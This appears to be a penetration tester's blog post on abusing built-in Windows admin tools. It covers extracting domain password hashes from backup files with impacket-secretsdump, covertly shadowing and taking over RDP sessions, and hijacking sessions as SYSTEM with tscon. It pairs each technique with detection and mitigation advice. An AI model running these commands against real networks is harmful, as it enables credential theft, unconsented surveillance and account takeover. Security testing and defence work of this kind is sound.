Old but Gold - Attack and Defend the Sys Admins

As threat actors and red teams move on with more and more obscure techniques for evading defensive technologies and teams. The older legitimate tools are left behind, some of which enable enumeration via legitimate graphical user interface (GUI) functions (and can be very difficult to detect). Here are some old but gold system administrator tools and functions to help you in your next engagement:

• Backup Files
• RDP Shadowing
• Management Console (MMC)/ Remote Server Administration Tools (RSAT)
• SYSTEM Shell hijacking
• SysInternals

While some of these are already detectable with logging and anomalous activity, anything that veers away from command prompt and PowerShell usage is a win for offensive security. From a detection standpoint however Sysmon and Windows Event Logs + Splunk can be the saviour. If you are unsure how to setup Sysmon/Splunk I've previous written another post about this on my blog.

Backup Files & Extracting Backups

The first technique is something that may be found on older networks or where you land into an environment with access to backups. Machine backup files typically come in all different sizes but can be incredibly useful for us as attackers and equally a nightmare for defenders as once the files are extracted there's little to nothing that can be done!

The root cause of this particular one is down to asset and access management, often on legacy networks there may be file shares or similar with information just hanging around for users to access.

If you find yourself in a network share or on a system that contains a BKF file here are the steps required to extract the juicy information from it.

First you'll need an older tool called NTBackup which is available here. Now NTBackup will work on up to W7 by default but the build on Github is NTBackup5 which has been built for Windows 8 onwards. NT5Backup.cab, an updated, portable build of the good old NTBackup tool that can be run from any Windows OS (including Windows 8 and Windows 10). It should work right away, as long as you ensure that the vssapi.dll and ntmsapi.dll library files will be in the same folder where the NTBackup.exe file is.

There is also an additional and effective alternative: you can use the open-source mdftar project to convert a MDF/BKF file to a TAR file, then you can open it with any standard program (WinZip, WinRAR, 7Zip and so on).

This will enable you to open the BKF file and from here the NTDS and System files can be extracted if the BKF is of a domain controller. The location of these files is:

• NTDS.dit; C:\Windows\NTDS.dit
• SYSTEM File; C:\Windows\System32\config\SYSTEM

Once the NTDS and SYSTEM file have been extracted from the backup, the next step is to extract password information from the database. This can be achieved using impacket secrets dump

The commandline to do this is:

impacket-secretsdump LOCAL -system SYSTEM -ntds NTDS.dit -just-dc-ntlm

This command takes the local copies of the SYSTEM and NTDS.dit files and will run through the DB and extract the password hashes.

Defending and Mitigating

Mitigation of this particular issue is pretty difficult, the main definding factors are going to be down to identifying backup files and checking their permissions. A good tool for quick searching of network resources is Everything. This can be used to map network drives and searches through them incredibly quick, simply searching *.bkf will return anything that matches up.

Remote Desktop Protocol Shadowing & Control

A useful feature built into the RDP service on windows that allows server administrators to either view or take control of RDP sessions. This enables you to shadow a session without first RDPing into the server. From an elevated command prompt on the server, run QWINSTA to get a list of the sessions available to be shadowed on a target machine.

In order to effectively leverage this feature there are a few variables that need to be correct, first you need to be local administrator on the endpoint, domain admin will also work.

In addition, RDP shadowing needs to be enabled on the estate. This can be checked either within group policy or the registry:

GPO:
Computer Configuration -> Policies -> Administrative Templates -> Windows components -> Remote Desktop Services -> Remote Session Host -> Connections
Value: Set rules for remote control of Remote Desktop Services user sessions.

Registry:
REG query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow

The allowed values are (the one we are most interested in is if it returns 2; full control without users's permission)

• 0 – disable remote control;
• 1 — full control with user’s permission;
• 2 — full control without user’s permission;
• 3 — view session with user’s permission;
• 4 — view session without user’s permission.

Once it is setup or found that the system has RDP Shadowing enabled, the easiest way to check sessions that can be connected to is to run from the domain or a runas session as a user on the domain(If you see "The computer name is invalid" or "Error 1722 getting sessionnames and Error [1722]:The RPC server is unavailable." when running qwinsta it means the FW is on and blocking., shout out to myexploit2600 for the tip.):

qwinsta /server:IP

As can be seen above the ORain user has a session on console 3 and is Active, therefore we should be able to shadow their session using the following command:

mstsc /shadow:3 /v:10.10.100.29 /noconsentprompt

As we are viewing a user's session the session needs to be active otherwise shadowing won't work. If Successful mstsc will pop a prompt as that user (provided the session you're running mstsc from has DA/local admin on the target system):

This session will not prompt the user and we can spy on what they are doing in near real time. If you do not include the /noconsentprompt the user will get a pop up like the following:

Another useful flag that can be included is /control, if you watch the user for a while and start to work out when they work and are likely to be away from the system you can take control via the /noconsentprompt /control flags, again the user won't get a prompt provided the /noconsentprompt flag is set which is great from an offensive security perspective.

Defending and Mitigating

To mitigate against this, the best thing to do is check your group policy or if the specific registry key set as detailed above.

From a detection standpoint, from what I have seen in both the event log and sysmon there are minimal logs generated. Sysmon event IDs(EID) are;

• EID: 1 - The process creation is first qwinsta on the source machine and followed by a second EID with mstsc when it is launched.
• EID: 4624 - Generated on the target host when RDP is being used for authentication. There is no difference from what I can see between a shadowning session and a regular RDP session therefore detecting users using this functionality is incredibly difficult. The following Splunk query will pull out all RDP sessions from forwarded logs (now if you do not use RDP much in your env these may jump out straight away, otherwise it will be a rat's nest of chaos!)
• EID: 4762 - Special login will be generated too if the user doing the shadowing is local/Domain admin so one to look out for too.

index=main EventCode=4624 LogonType=10 OR LogonType=7 |  table IpAddress,TargetUserName,Computer ")| stats count by Account_Name | sort – count

The logon type 10 is for RDP but only fires when it is a brand-new RDP session. Otherwise, it will be a type 7 in the IPAddress field, which is the source IP that initiated the RDP connection, and the Computer is the target that will enable the Blue Team to quickly co-ordinate suspicious RDP sessions based on correlated logs.

For RDP shadowing I've just been through it in my lab, you can do it by flipping on remote registry, in terms of hunting for it the following Windows Event IDs fire when shadowing is enabled and leveraged in watch only and control mode:

20503 - shadow watching started
20504 - shadow watching stopped
20506 - shadow control started
20507 - shadow control stopped
20513 - Shadow Session Failure - this fires when a connection fails due to GPO

The events live in Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational event log.

Windows Management Console (MMC)

There are a lot of attacks that can be done achieved just by having domain credentials and access to the network(not necessarily on a domain joined machine). Of the tools used for systems administration, the windows management console is incredibly powerful. One of my friends and ex colleagues introduced me to MMC for offensive security, passive recon on a domain from a non domain connected system with domain creds.

Setting up MMC is easy, drop mmc.exe in run box and it'll open up by default with no 'snap-ins' loaded:

There are many that can be used, the first one I usually load in is the GPO one

File -> Add/remove snapins -> Group Policy -> Add

This will then pop up a window and ask you to select local or browse for a network system:

You can then search by hostname and add it in:

Once that's saved it will prompt you for domain creds and provided you have perms to authenticate to the target system you can view info about the GPO or whatever you want.

As well as GPO another useful module is 'Computer Management' which will enable you to browse the event log of the remote system along with disks and other useful tools:

The beauty of MMC is that you don't need to be directly on the domain to use it, just the same network and able to reach the target system plus have valid creds.

Defending and Mitigating

Again from a mitigation standpoint there is not much that can be done, it is down to monitoring the network and hosts for abnormal activity. If MMC is launched on a system on the network that wouldn't normally launch it then looking for sysmon process create entries would be one to watch and filtering for MMC.exe.

Additionally if there is any service modification. EventID 4 is generated for Service State Changes. This event logs Start and Stop events when the Sysmon service is controlled via the Service Control Manager API (Services.mmc, sc.exe, net.exe, etc.).

System Shell Hijacking

One that requires local system access on a machine, this technique enables you to hijack users' sessions without their password provided you have local system or the ability to start a system shell on the machine. This can be used in conjunction with RDP shadowing for maximum effect!

This is a technique I came across on twitter a few years ago then started using it on engagements. It is achieved by having access to the target’s machine:

First launch cmd.exe as local admin either via RDP or psexec:

psexec -s \\10.10.100.29 cmd

Check all the sessions on the local system:

quser OR query user

As shown there are two sessions on the system, we are authenticated as ORain however the Administrator has a Active session. This is the session we are going to hijack using tscon. The three key pieces of information to note are the SESSIONNAME and the ID which are:

• SESSIONNAME = rdp-tcp#5
• ID = 2
• Idle time = how long the user has been afk or not moved the mouse, if this is a number of days it is safe to assume the session has been left active and prime for hijacking.

We are going to create a malicious service(you can name it anything you want) with the bin path set to a cmd:

sc create sysell binpath= "cmd.exe /c tscon 2 /dest:rdp-tcp#5

Then start the service with net start sysell which will drop you into a session as that user if successful:

This works so brilliantly as It can be used to connect to disconnected sessions, locked and physical machines too which makes it both a beautiful technique and a dangerious one!

Another way to achieve this is to just leverage psexec without launching a service, this is thanks to my mate Nick for pointing out that sc isn't always required:

If you can ping your own box from the target host you could open up a network share on your local machine then do \\myhost\share\psexec.exe -i -s cmd.exe

Then followed by tscon 2 /dest:rdp-tcp#9 which will launch us into a session as that user:

As we are using built in windows functionality there are no external tools introduced into the environment and makes detection a load harder too. If you want to hunt for ways to priv esc there are multiple methods, my colleague Zach has written a tool that'll enable you to hunt out utilman backdoors. WinPeas is also very good for hunting out priv escs on windows systems.

Defending and Mitigating

The root cause of this issue is users having sessions potentially left for extensive periods of time. Therefore closing these sessions with GPO is a good start;

Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Session Time Limits > Set time limit for disconnected sessions.

You can use it for logging off idle users on Remote Desktop Services (RDS, formerly Terminal Services). This session doesn’t work for physical computers that people are using at the console. Thanks to reading Kevin Beaumont's blog post about this very issue I found that monitoring is difficult for this!

It is surprisingly very difficult to record session hijacking — there is one event log (Microsoft-Windows-TerminalServices-LocalSessionManager/Operational) which records sessions connecting — however it does not appear to differentiate between a normal user connecting and tscon.exe being used — I’ve been through every other event log and can’t see anything which suggests this is happening. This is actually a major issue and I lobby Microsoft to add some kind of Event Log ASAP — it’s a real gap.

My suggestion is you alert for other related behaviour using the Event Log and tools like Microsoft OMS, Windows Event Forwarding, Splunk etc. You’re looking for SYSTEM being misused.

src: DoublePulsar blog

In addition monitoring processes for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to detect RDP session hijacking.

Remote Server Administration Tools (RSAT)

Similar to MMC RSAT can be used to query machines and systems from outside the domain, purely with valid creds. RSAT can be installed on Windows 10 here. Once installed there are many tools built into both powershell and the GUI that can help us in querying systems. My favorite is Active Directory Users and Computers.

Once installed open it and connect to the domain you want to attack, it'll prompt you for creds:

Once connected you can use it the same way you would on a DC, query AD for specfics and all that fun:

Defending and Mitigating

Again as this is built into windows it is incredibly hard to spot, the only tells I found in the event log were authentication entries for success but other than this it is difficult to spot :(.

Sysinternals Tooling

There are a lot of tools built into the sysinternals suite which are incredibly useful from both an offensive and defensive perspective. The list below shows a few I think you should go check out. I'm not going to explain them all in this blog as that is a whole seperate topic on its own. I will however explain ADExplorer as it is the one I use the most and it is a great alternative to RSAT that will enable you to take an offline backup of a domain!

• AD Explorer - Useful for AD enumeration (more on this in a sec)
• Procmon - If you have privs on an endpoint, this can be used to monitor processes and what they call, good for hunting out DLL hijacking and Binary planting bugs.
• ProcExplorer - An enhanced version of task manager which is incredibly useful for seeing more about proceses.
• psexec - Remote execution on systems, while it has a legitimate purpose for sys admins it can be used for evil! Also worth noting it is pretty easy to detect so I'd shy away from it in mature environments.
• Procdump - Useful for dumping processes or specifically LSASS to extract passwords from memory.
• Pipelist - Great for finding named pipes on a system which can be useful for the likes of Cobalt Strike and other C2s for SMB lateral movement.
• ShareEnum - This will quickly list out any distrobuted fileshares (DFS) and enable you to pick juicy looking shares to look at.
• AccessEnum - A quick way to find bad folder permissions

...and many more!

AD Explorer

AD Explorer is such a great tool(which can be used as ANY domain user, so no need for privs!), opening it for the first time accept the agreement then it will ask you to connect to an AD either locally or on a server. Feed it credentials and it'll give you an interface similar to AD Users and Computers.

It enables you to view a vast amount of information about GPOs, users, computers, OUs and much more. The metadata alone is incredibly useful, in addition the ability to save an offline backup is very useful. This can be done by clicking the save button in the UI which will prompt you to save somewhere:

The metadata available on users is incredibly powerful enabling you to view more detailed information at a glance finding info about what groups a user is a member of etc:

There is also a search function which can be a bit broken however my favourite search to do is looking at user comments and descriptions as these often will have interesting information about users and what they have access too, sometimes even passwords!

Defending and Mitigating

Mitigating AD explorer can be blocked on endpoints by leveraging allow lists for applications and the likes of applocker, additionally monitoring for files being written to disk can also trigger it as the extension by default for backups is .dat. As it is a signed binary and a legitimate tool it can be difficult to monitor for but not impossible. Look at Event ID 11 (FileCreate) if an attacker is dropping AD explorer to disk.

Wrapping Up

There are a few tools and techniques out there for doing offensive stuff and it can be difficult to monitor for some and easier for others. Lots of techniques that have a legitimate purpose and can be used in a malicious manner. It pays to try out new things that have a legitimate purpose as the detection can sometimes be tough therefore making exploiting much easier to remain under the radar. If we remove all the tools and techniques from this blog, think about the mindset you are left with, using legitimate things for other means, at the end of the day it is all about optics and how you understand different topics, how they can be used and how we can build upon them.

Additional Reading

Here's some other things to check out if you are interested in the Sysadmin side of stuff.

• The Accidental SysAdmin Handbook
• Windows SysInternals
• Windows Active Directory - Yes this is the docs but having a read of how to set things up will enable you to better attack and defend things, equally that's how other techniques and things are found.